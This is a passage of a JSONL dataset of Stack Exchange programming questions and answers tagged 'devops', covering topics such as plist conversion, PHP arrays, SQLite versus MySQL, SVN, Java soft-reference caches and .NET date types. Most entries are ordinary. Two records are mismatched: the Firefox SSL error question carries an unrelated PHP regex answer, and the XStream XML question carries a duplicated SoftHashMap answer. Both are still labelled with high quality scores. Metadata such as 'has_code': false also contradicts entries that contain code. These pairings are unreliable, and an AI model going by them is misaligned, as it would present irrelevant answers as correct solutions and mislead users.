\"john.doe@gmail.com\", \n      \"jdoe@hotmail.com\"\n   ], \n   Children : [ \n      { \n         FirstName : \"Sara\", \n         LastName : \"Doe\", \n         Age : 3 \n      }, { \n         FirstName : \"Bethany\", \n         LastName : \"Doe\", \n         Age : 5 \n      } \n   ] \n};\n\nvar differences = findDifferences(person1, person2);\n```\n```\nAt this point, here is what the\n```\ndifferences\n```\narray would look like if you serialized it to JSON:\n```\n```\n[\n   {\n      \"Property\":\"this.LastName\", \n      \"ObjectA\":\"Doh\", \n      \"ObjectB\":\"Doe\"\n   }, {\n      \"Property\":\"this.Age\", \n      \"ObjectA\":30, \n      \"ObjectB\":33\n   }, {\n      \"Property\":\"this.EMailAddresses[1]\", \n      \"ObjectA\":\"jd@initials.com\", \n      \"ObjectB\":\"jdoe@hotmail.com\"\n   }, {\n      \"Property\":\"this.Children[0].Age\", \n      \"ObjectA\":2, \n      \"ObjectB\":3\n   }, {\n      \"Property\":\"this.Children[1].FirstName\", \n      \"ObjectA\":\"Beth\", \n      \"ObjectB\":\"Bethany\"\n   }\n]\n```\n```\nThe\n```\nthis\n```\nin the\n```\nProperty\n```\nvalue refers to the root of the object that was compared. So, this solution is not yet\nexactly\nwhat I need, but it is pretty darn close.\nHope this is useful to someone out there, and if you have any suggestions for improvement, I am all-ears; I wrote this very late last night (i.e. early this morning) and there may be things I am completely overlooking.\nThanks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.541377"}
{"id": "hf_be7d2b7b674d", "question": "<p>Apple strongly recommends using the binary plist format when reading large XML-based data sets into iPhone apps. Among their reasoning is the fact that XML parsing is very taxing on the iPhone. However, this requires that files residing on the remote web server be converted first.</p>\n\n<p>For frequently-changing content, it is not acceptable to do this manually. If at all possible, I'd like to avoid having a web based app call the command line to perform the conversion (i.e., plutil). </p>\n\n<p>Are there publicly available algorithms to perform this conversion?</p>\n", "question_body": "", "answer": "It's not clear if you want to do the conversion on the iPhone or on the server. If it's on the server and you can use the Cocoa frameworks, the\n```\nNSPropertyListSerialization\n```\nprovides services to convert between the supported plist types (string, XML, and binary) on OS X (since 10.2). There are also analogous methods in the Core Foundation library if you'd prefer to use that instead.\nTo convert an XML plist to a binary one:\n```\n```\nNSString *xmlPlistPath; // already set\nNSString *outPath; // already set\n\nNSData *plistData;\nNSString *error;\nNSPropertyListFormat format;\nid plist;\nplistData = [NSData dataWithContentsOfFile:xmlPlistPath];\n\nplist = [NSPropertyListSerialization propertyListFromData:plistData\n                                         mutabilityOption:NSPropertyListImmutable\n                                                   format:&format\n                                         errorDescription:&error];\n\nif(plist == nil) { // unable to parse plist\n    //deal with failure -- error gives description of the error\n} else {\n    binaryPlistData = [NSPropertyListSerialization dataFromPropertyList:plist\n                                                                 format:NSPropertyListBinaryFormat_v1_0\n                                                       errorDescription:&error];\n    if(binaryPlistData == nil) {//unable to create serialized plist\n         // deal with failure -- error gives description of the error\n    }\n\n    if(![binaryPlistData writeToFile:outPath atomically:YES]) {\n        // unable to write file\n    }\n}\n```\n```\nSee\nProperty List Pramming Guide\npage on developer.apple.com for more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.566607"}
{"id": "hf_e6c9d08d1828", "question": "<pre><code>function array_value_from_key($array,$key)\n{\n     return !empty($array[$key]) ? $array[$key] : null;\n}\n</code></pre>\n\n<p>The reason I ask is because I have a class function that returns an array.</p>\n\n<p>Instead of having to do</p>\n\n<pre><code>$myArray = myClass::giveMeArray();\n$myValue = $myArray[$myKey];\n</code></pre>\n\n<p>I'd like to do something along the lines of</p>\n\n<pre><code>$myValue = array_value_from_key(myClass::giveMeArray(),$myKey);\n</code></pre>\n\n<p>When an object is returned, you can chain the object such as</p>\n\n<pre><code>$myValue = myClass::giveMeObject()-&gt;aValue;\n</code></pre>\n\n<p>Voila, nice and clean..  not being able to find what seems to be a simple and trivial function is driving me crazy...</p>\n\n<p>PS.. one more example of how I'd like to use such a function</p>\n\n<pre><code>if(arrayKeyVal(aClass::giveMeArray(),$myKey)) {\n    do_something();\n}\n</code></pre>\n", "question_body": "", "answer": "I haven't tried it, but:\n```\n```\n$myValue = @$myArray[$myKey];\n```\n```\nmight work, though i honestly think you would be better off using\n```\n```\n$myValue = (array_key_exists($myKey, $myArray)) ? $myArray[$myKey] : null;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.596554"}
{"id": "hf_9a35f277d53c", "question": "<p>After much googling I have been wondering what the benefits/differences are between mysql and sqlite3. I am primarily hoping for a speed bump when moving my development database to my production database, although I imagine this will primarily happen in my code. Does any know what the major differences are in performance? ARE there? Or would you be able to point me in the direction of some literature comparing the two? </p>\n", "question_body": "", "answer": "I'm hoping that from your question, you aren't talking about using a different database system in development and production.\nIf you are using a different DB in development and production, DON'T. Different database engines behave differently and will cause unexpected bugs to appear. Try to get your development system as close to production as you possibly can (hint: run it in a VM)\nSQLite and MySQL are both fine products in the right context. Understand what their capabilities are.\nSQLite:\nRuns in-process with the client application\nNo network capability\nVery low query overhead because of this\nPotentially rather fast for easy queries because there is less IPC, system calls and data copying to do.\nVery limited concurrency (I think it's either one writer or multiple readers, per database file)\nMySQL:\nFar more features\nChoice of engines (InnoDB provides good features for many workloads)\nMuch more control of storage, backup, restore etc\nNetwork-capable - which allows its use in large scale applications\nBetter concurrency - the InnoDB engine has MVCC which means that readers do not block writers, nor do writers block readers. Even the old MyISAM engine has table-level locking rather than for the whole database as sqlite.\nProbably a better optimiser for complicated queries\nIn short, you can't really compare them like-for-like. SQLite is quite popular as an embedded database - Firefox 3 has one inside it.\nIn SQLite, you're stuck on storing your database on a local disc (or of course, network disc, if one is available). If you want to scale your web application, you'll probably have to use a server-based database such as MySQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.632775"}
{"id": "hf_7b57866b44b2", "question": "<p>Does anyone know of a good Java API for controlling RS-232 devices in a WIN32 enviroment?\nI've tried RXTX but they don't support RS232, only RS-485.</p>\n", "question_body": "", "answer": "What about\nJ/CoMM\n?\nOS independent RS232 remote control. Java-based server (console), easy adjustable HTML GUI, local/internet use, incl. device driver API and drivers (e.g. EIKI LC-XM1/SM1/VM1!!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.657316"}
{"id": "hf_768d614f2f42", "question": "<p>My php is weak and I'm trying to change this string:</p>\n\n<pre><code>http://www.example.com/backend.php?/c=crud&amp;m=index&amp;t=care\n                                   ^\n</code></pre>\n\n<p>to be:</p>\n\n<pre><code>http://www.example.com/backend.php?c=crud&amp;m=index&amp;t=care\n                                  ^\n</code></pre>\n\n<p>removing the <code>/</code> after the <code>backend.php?</code>. Any ideas on the best way to do this?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\n$str = preg_replace('/\\?\\//', '?', $str);\n```\n```\nEdit: See CMS' answer. It's late, I should know better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.681355"}
{"id": "hf_4df9dc3d6169", "question": "<p>I am not able to access localhost https pages in firefox3. It gave the error </p>\n\n<blockquote>\n  <p>'Can't connect securely because the SSL protocol has been disabled.\n  (Error code: ssl_error_ssl_disabled)'</p>\n</blockquote>\n\n<p>I enabled all the SSL2 related preferences through about:config and the error changed to </p>\n\n<blockquote>\n  <p>'Data Transfer Error\n  The browser connected successfully, but the connection was interrupted while transferring information.  Please try again.'</p>\n</blockquote>\n\n<p>The first error seems most likely due to a invalid certificate but can't figure out the second...</p>\n", "question_body": "", "answer": "```\n```\n$str = preg_replace('/\\?\\//', '?', $str);\n```\n```\nEdit: See CMS' answer. It's late, I should know better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.705847"}
{"id": "hf_a6e87f05edca", "question": "<p>I've got an application that's using string.compare(string,string) to sort some values.  The thing I can't figure out is why \"1022\" compares as less than \"10-23\" and \"10-23\" compares as less than \"1024\".</p>\n\n<p>Is there something specific to the value of \"-\" that causes this result?  Will that overload of string.compare give the same result with different culture settings for the same type of data (numbers with dashes)?</p>\n", "question_body": "", "answer": "Well, ignoring the dashes is fairly innocent. If you want to include them, perhaps use\n```\nStringComparison.Ordinal\n```\nin the overload.\nReading the\ndocs for\n```\nstring.Compare\n```\n, it uses word sort rules, which from\nhere\nmeans :\nWord sort performs a culture-sensitive\n  comparison of strings. Certain\n  nonalphanumeric characters might have\n  special weights assigned to them. For\n  example, the hyphen (\"-\") might have a\n  very small weight assigned to it so\n  that \"coop\" and \"co-op\" appear next to\n  each other in a sorted list.\nAt least it is transitive: I logged a\nbug\nwith \"connect\" about something very similar involving dashes - where A < B, B < C\nand\nC < A. since a non-transitive comparison essentially breaks the rules of sorting. It was closed \"will not fix\". Here it is:\n```\n```\nstring s1 = \"-0.67:-0.33:0.33\";\nstring s2 = \"0.67:-0.33:0.33\";\nstring s3 = \"-0.67:0.33:-0.33\"; \nConsole.WriteLine(s1.CompareTo(s2));\nConsole.WriteLine(s2.CompareTo(s3));\nConsole.WriteLine(s1.CompareTo(s3));\n```\n```\n(returns 1,1,-1 on my machine)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.734008"}
{"id": "hf_2cfd936a30cd", "question": "<p>When running an integration test (Web Service talking to JDBC, in this case) how do you force the database to throw an error so that the resulting soap fault can be inspected?</p>\n\n<p>I'm using Spring's Transactional Test Framework, so would be unreasonable to just issue a <code>DROP TABLE whatever;</code> to break it? :D</p>\n", "question_body": "", "answer": "In my experience, this is an excellent use for mock objects. Specifically cases where you need to cause a specific failure in order to test how your object, in the case of a unit test, or set of objects, in the case of integration tests, will handle a particular failure. It is better to be in complete control of the failure rather than forcing a specific case of the failure in your integration tests.\nI recently worked with an entity framework where I encountered a similar dilemma. By creating mock objects for the entities I was able to force an exception to be thrown during on method calls while running certain tests in order to test failure conditions interacting with the database. This isn't an answer that deals with Spring's Transactional Framework, but I am sure the same principles apply.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.783319"}
{"id": "hf_367b0436c1b2", "question": "<p>Is there such a thing? </p>\n\n<p>I'm talking about something like a C++ <code>new</code> command i.e. allocation of memory which necessitates explicit releasing of the memory (or risk memory leaks).</p>\n\n<p>I ask because I remember having to solve some GDI leak problems previously by setting forms/controls/other objects to <code>Nothing</code> but can't remember what or why now...</p>\n\n<p>Do we ever have to worry about memory management when developing in VB6?</p>\n", "question_body": "", "answer": "I'd like to say you never have to worry about memory management, but it's not quite true.  It depends to some extent on the execution environment that your VB6 code is running in.  I have certainly seen VB6 classes running under COM+ that would leak memory if they didn't explicitly set object references to Nothing when finished with them.\nEnvironmental issues aside, memory that you allocate within the VB6 type system will generally be cleaned up for you.  I'm talking about things you allocate with the New keyword.  But there is a significant exception, pointed out by rpetrich and others: -\nBecause of the reference-counting mechanism that VB uses to manage the lifetime of allocated objects, it is possible to leak memory if you have any cyclic references.  For example, A->B->C->A.  If you have that kind of scenario you'll probably need to spot it yourself and cure it by explicitly setting references to Nothing.  I am not aware of any tools that help much with identifying this kind of problem.\nFurther problems come in when you're using libraries written in other languages.  You might New-up a COM object written in C++ that allocates some memory internally, and find that you have to call a particular method (such as Close) to free that memory.  Maybe such a COM object would be badly-written, but plenty of them exist.\nSo there are no rules to follow, except perhaps: -\nTry to know as much as possible about the behaviour of any libraries you use, and\nAlways run your code while watching a memory trace in Performance Monitor to make sure its memory usage isn't growing in an unbounded fashion.\nTry to be aware of cyclic references ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.859751"}
{"id": "hf_acef1461a8cf", "question": "<p>How to move a sub directory from one directory to another, given that both are inside the same SVN repository? I am using tortoise SVN.</p>\n", "question_body": "", "answer": "Select the folder/files that you want to move, then RIGHT-CLICK them and drag them to where you want to move them.  A menu will come up with an option \"\nSVN Move versioned files here\n\"\nAs clarified by\nphenry\n, the destination folder must be recognized as an SVN folder.  The folder should already be committed to the repository or you can choose Add to set it to be added.\nIf the destination folder isn't part of an SVN repository, use the SVN Export command after your right-click and drag to copy the files to any destination folder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.920417"}
{"id": "hf_300b33ed6454", "question": "<p>i.e. as I compose my test suites to include other suites as well as test cases,\nis there a global count of how many tests the TestRunner has executed, will be executing?</p>\n\n<p>Any way I can progammatically access that count?</p>\n", "question_body": "", "answer": "not sure about how many it has executed, but couldn't you check how many total tests using\n```\nself.methods.grep(/test_/)\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.957200"}
{"id": "hf_3b2e6dd45f06", "question": "<p>I know there is a <code>WeakHashMap</code> in <code>java.util</code>, but since it uses <code>WeakReference</code>s for everything, which is only referenced by this <code>Map</code>, referenced objects will get lost on the next GC cycle. So it's nearly useless if you want to cache random data, which is very likely to be requested again without being Hard-linked the rest of the time. The best solution would be a map, which uses <code>SoftReference</code>s instead, but I didn't find one in the Java RT Package.</p>\n", "question_body": "", "answer": "Edit (Aug. 2012):\nIt turns out that currently the best solution are probably Guava 13.0's\n```\nCache\n```\nclasses, explained on\nGuava's Wiki\n- that's what I'm going to use.\nIt even supports building a\n```\nSoftHashMap\n```\n(see\n```\nCacheBuilder.newBuilder().softKeys()\n```\n), but it is probably not what you want, as Java expert Jeremy Manson explains (below you'll find the link).\nNot that\nI know of\n(Nov. 2008), but you kind find some implementation of\n```\nSoftHashMap\n```\non the net.\nLike this one:\n```\nSoftHashMap\n```\nor\nthis one\n.\nEdit (Nov. 2009)\nAs\nMatthias\nmentions in the comments, the\nGoogle Guava\nMapMaker\ndoes use SoftReferences:\nA\n```\nConcurrentMap\n```\nbuilder, providing any combination of these features:\nsoft or weak keys,\nsoft or weak values,\ntimed expiration, and\non-demand computation of values.\nAs mentioned in\nthis thread\n, another JSR166y candidate:\njsr166y.ConcurrentReferenceHashMap\nIt provides an alternative concurrent reference map to the Google implementation (which relies on a background thread to evict entries)\nEdit (August 2012)\nThe Google implementation uses a background thread only when timed expiration of entries is requested. In particular, it simply uses\n```\njava.util.Timer\n```\n, which is not so intrusive as having a separate background thread.\nJeremy Manson recommends, for any cache, using this feature to avoid the dangers of SoftReference:\nhttp://jeremymanson.blogspot.de/2009/07/how-hotspot-decides-to-clear_07.html\nThere's another implementation from\nApache Commons\n, namely\norg.apache.commons.collections.map.ReferenceMap\n; it does not support timed removal, but it does support choosing whether keys should be compared by identity or by equality. Moreover, this implementation is not concurrent - it can be made synchronized, but that works less well under accesses from multiple threads.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.981465"}
{"id": "hf_3e8a4468a1a3", "question": "<p>I'm trying to deserialize an xml structure that looks like this:</p>\n\n<pre><code>&lt;somecontainer&gt;\n    &lt;key1&gt;Value1&lt;/key1&gt;\n    &lt;key1&gt;Value2&lt;/key1&gt;\n    &lt;key2&gt;Value3&lt;/key2&gt;\n    &lt;key2&gt;Value4&lt;/key2&gt;\n&lt;/somecontainer&gt;\n</code></pre>\n\n<p>I can basically choose what kind if element to deserialize to, maybe something like a List of Pair or something. The essence here is that the element names are the keys.</p>\n\n<p>And no, I cannot change the xml structure. Anyone know how to do this with xstream ?</p>\n", "question_body": "", "answer": "Edit (Aug. 2012):\nIt turns out that currently the best solution are probably Guava 13.0's\n```\nCache\n```\nclasses, explained on\nGuava's Wiki\n- that's what I'm going to use.\nIt even supports building a\n```\nSoftHashMap\n```\n(see\n```\nCacheBuilder.newBuilder().softKeys()\n```\n), but it is probably not what you want, as Java expert Jeremy Manson explains (below you'll find the link).\nNot that\nI know of\n(Nov. 2008), but you kind find some implementation of\n```\nSoftHashMap\n```\non the net.\nLike this one:\n```\nSoftHashMap\n```\nor\nthis one\n.\nEdit (Nov. 2009)\nAs\nMatthias\nmentions in the comments, the\nGoogle Guava\nMapMaker\ndoes use SoftReferences:\nA\n```\nConcurrentMap\n```\nbuilder, providing any combination of these features:\nsoft or weak keys,\nsoft or weak values,\ntimed expiration, and\non-demand computation of values.\nAs mentioned in\nthis thread\n, another JSR166y candidate:\njsr166y.ConcurrentReferenceHashMap\nIt provides an alternative concurrent reference map to the Google implementation (which relies on a background thread to evict entries)\nEdit (August 2012)\nThe Google implementation uses a background thread only when timed expiration of entries is requested. In particular, it simply uses\n```\njava.util.Timer\n```\n, which is not so intrusive as having a separate background thread.\nJeremy Manson recommends, for any cache, using this feature to avoid the dangers of SoftReference:\nhttp://jeremymanson.blogspot.de/2009/07/how-hotspot-decides-to-clear_07.html\nThere's another implementation from\nApache Commons\n, namely\norg.apache.commons.collections.map.ReferenceMap\n; it does not support timed removal, but it does support choosing whether keys should be compared by identity or by equality. Moreover, this implementation is not concurrent - it can be made synchronized, but that works less well under accesses from multiple threads.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.006841"}
{"id": "hf_1bcaa04e82d0", "question": "<p>A few months ago I was introduced to the new <a href=\"http://msdn.microsoft.com/library/system.datetimeoffset.aspx\" rel=\"noreferrer\"><code>DateTimeOffset</code></a> type and was glad <a href=\"http://msdn.microsoft.com/library/system.datetime.aspx\" rel=\"noreferrer\"><code>DateTime</code></a>'s flaws with regard to time zones were finally taken care of.</p>\n\n<p>However, I was left wondering if there were any overhead or problems that could occur from using this new type.</p>\n\n<p>I work on a multi-locale web application. Does anyone know of anything that could sway me from just using it for all my date/time work? Is there a window for abuse here?</p>\n\n<p>Reference: <a href=\"http://blogs.msdn.com/bclteam/archive/2007/06/14/datetimeoffset-a-new-datetime-structure-in-net-3-5-justin-van-patten.aspx\" rel=\"noreferrer\">DateTimeOffset: A New DateTime Structure in .NET 3.5 by Justin Van Patten</a></p>\n", "question_body": "", "answer": "Sometimes you really just want to represent a \"local\" (timezone unaware) date and time rather than an\ninstant\nin time. To be honest it's more often useful to represent just a time - e.g. \"wake me up at 8am, regardless of timezone\" - but date and time could be useful too.\nI agree that for the vast majority of cases,\n```\nDateTimeOffset\n```\nis a better fit. It does strike me as odd that there isn't a\n```\nDateTimeTimeZone\n```\nstruct which has both the instant and its timezone though... an offset doesn't actually give you all the information you need. (For instance, given a\n```\nDateTimeOffset\n```\n, you don't know what the time will be 24 hours later, because you don't know when DST might kick in.)\nIf you want that kind of structure, I have a\nvery crude implementation in another answer\n. I'm sure it could be improved very easily :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.057205"}
{"id": "hf_5a057dad4f44", "question": "<p>Does anyone know how to use CruiseControl.Net to publish to an FTP server?</p>\n", "question_body": "", "answer": "I don't think there's a specific way to do this. You can of course always run the commandline ftp client in window from cruise control.net\nOne tip:\nI found that stuff like this can be hard to set up and maintain in cc.net. There's a lot of trial and error involved and because you're working on a server every trial and every error can take a long time to debug. I usually have a very generic cc.net build setup that i can copy for all my projects that just gets the source from version-control and starts a nant build script. Because you can run the nant build-script on your local machine as well debugging it is far easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.093748"}
{"id": "hf_4591e80b7f0d", "question": "<p>I can't seem to get Javascript debugging working for my ASP.NET MVC application even though I can for a traditional ASP.NET WebForm app.</p>\n\n<p>I have followed the steps for unchecking the 'Disable Script Debugging' boxes for both IE and other.</p>\n\n<p>when I add a simple function to display an alert in both the site.master and any content view the breakpoint will not fire.</p>\n\n<p>Have i missed something obvious or do I need to use an outside tool for debugging like FireBug?</p>\n\n<p>By the way, I'm using Visual Studio Web Developer Express 2008.</p>\n\n<p>thx</p>\n", "question_body": "", "answer": "I don't use VS.Net Express, but in VS.Net Standard you can go to the Debug menu in your solution and choose \"Attach to process\". You will then get to choose the debug type: Native, Managed, or Script. Select Script, then select your process from the list. A list of scripts will now come up in your IDE. Click on script one you want to debug, throw in a breakpoint or two, and you should be ready to go.\nIf MS has nerfed the Express version so that you can't attach to a process, then I guess you're stuck and will need the $$$ upgrade (which wouldn't entirely surprise me). Hey, what do you want for free? :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.118067"}
{"id": "hf_891db24caef5", "question": "<p>I'd like to create a text field with a dropdown list that lets the user choose some predefined values. The user should also be able to type a new value or select a predefined one from a dropdown list. I know that I can use two widgets for that but in my app it would be more ergonomnic if it was unified in a one widget.</p>\n\n<p>Is there a standard widget or do I have to use a third party javascript?</p>\n\n<p>How about browser portability?</p>\n", "question_body": "", "answer": "I am not sure there is a way to do it automatically without javascript.\nWhat you need is something which runs on the browser side to submit your form back to the server when they user makes a selection - hence, javascript.\nAlso, ensure you have an alternate means (i.e. a submit button) for those who have javascript turned off.\nA good example:\nCombo-Box Viewer\nI had even a more sophisticated combo-box yesterday, with this\ndhtmlxCombo\n, using ajax to retrieve pertinent values amongst large quantity of data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.141978"}
{"id": "hf_7c3bfb4cb991", "question": "<p>In CSS, with:</p>\n\n<pre><code>@page { @top-right { content: \"Page \" counter(page) \" of \" counter(pages); } }\n</code></pre>\n\n<p>I can have page numbers displayed at the top of every page when the page is printed. This works great. But now, how can I make it so the page number starts with 2 instead of 1? Can I do that by modifying the CSS rule above?</p>\n", "question_body": "", "answer": "Don't know if this works, but why don't you try\n```\ncounter(page+1)\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.236468"}
{"id": "hf_a5afc03ac9c4", "question": "<p>You launch a java program from a console (maybe using a .bat script).\nI don't want the console to remain visible, I want to hide it.</p>\n\n<p>Is there a simple way to do this ? Without JNI ?</p>\n", "question_body": "", "answer": "Use javaw.\nhttp://java.sun.com/javase/6/docs/tooldocs/windows/java.html\nThe javaw command is identical to java, except that with javaw there is no associated console window. Use javaw when you don't want a command prompt window to appear. The javaw launcher will, however, display a dialog box with error information if a launch fails for some reason.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.261299"}
{"id": "hf_d01bb52f8a3f", "question": "<p>I have built an application that uses SQL Express 2005 and I want to deploy it, but the problem is that anyone who has SQL Management Studio(or something like that) installed on his computer, can connect to my database and change it. \nIs there anyway to prevent end-users from seeing or editing the content of my database, even those with the Administrator privileges? </p>\n", "question_body": "", "answer": "I suppose this is not the answer you hoped for but it is unavoidable that anyone with administrative rights will be able to browse and edit information in the database.\nYou cannot change this.\nPerhaps you could consider WHY you want to prevent this kind of access?\nI expect you want to prevent tampering or accidental corruption of the data?\nIf that is the reason then you can go a long way to prevent corruption by adding constraints to your database.  Add foreign key constraints, uniqueness constraints, everything that will help prevent data corruption.\nThen an administrator would need to deliberately undo these constraints before they tamper, which would prevent most accidental corruption but of course not prevent malicious vandalism.\nIf you are concerned about protection of your intellectual property, you could encrypt the programmatic components (stored procedures and views and functions).  This kind of encryption is not very strong but prevents casual inspection.\nEncryption is added by using the\n```\n```\nWITH ENCRYPTION\n```\n```\nclause in your CREATE or ALTER statements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.301210"}
{"id": "hf_1ad93b2cde03", "question": "<p>We are developing a web application which is available in 3 languages. </p>\n\n<p>There are these key-value pairs to translate everything. At this moment we use Excel (key, german, french, english) for this. But this does not work well ... if there is more than 1 person editing this file, you have no chance to automatically merge the different files.</p>\n\n<p>Is there a good (and free) tool which can handle this job?</p>\n\n<p>--- additional information ---</p>\n\n<p>(This is a STRUTS application) But the question is how to manage these kinds of information in general (or at least in an conveinient way, which also supports multiple users editing this single file (\"<em>mergeable</em>\" filetypes))</p>\n", "question_body": "", "answer": "If you can store this information in plain text then you will be able to use a version control system like subversion to help you with merging changes.  Subversion is free.\nThe free guide (the \"Red Book\") to subversion gives a fairly good explanation of how this kind of merging works.\nhttp://svnbook.red-bean.com/en/1.5/svn.basic.vsn-models.html#svn.basic.vsn-models.copy-merge\nEDIT: Another thought - if you really want to stay using a spreadsheet - Google Docs supports simultaneous editing of a spreadsheet.  You could import your existing spreadsheet and get your multi-user merging wishes for free with very little change to how you work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.373277"}
{"id": "hf_57348553719c", "question": "<p>How can I set Resharper to wrap, say, the generated equality members with regions when selected from the Alt+Insert menu?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "it doesn't really answer your question, but I just can't resist to try to convince you NOT to use regions. Why would you want to do it? The obvious disadvantages of regions are:\nthey don't compile, so you can never know if the name of the region really describes what is inside\nregions are often used to hide rubbish code. The thinking here is: you can't see the rubbish bits, so it is as if they didn't exist. But guess what, they still exist...\nregions are just textual, they don't have any semantic meaning. That means that the code inside the region can change the state of another region - which doesn't help to figure out what is happening in the class at all\nif you structure your code correctly, it should be obvious what it is doing anyway\nI believe using regions makes sense pretty much only for automatically generated parts, e.g. WinForms designer stuff. In most (all?) other cases it is much better to refactor the code, extract some extra classes or methods, etc. to make it clear.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.396329"}
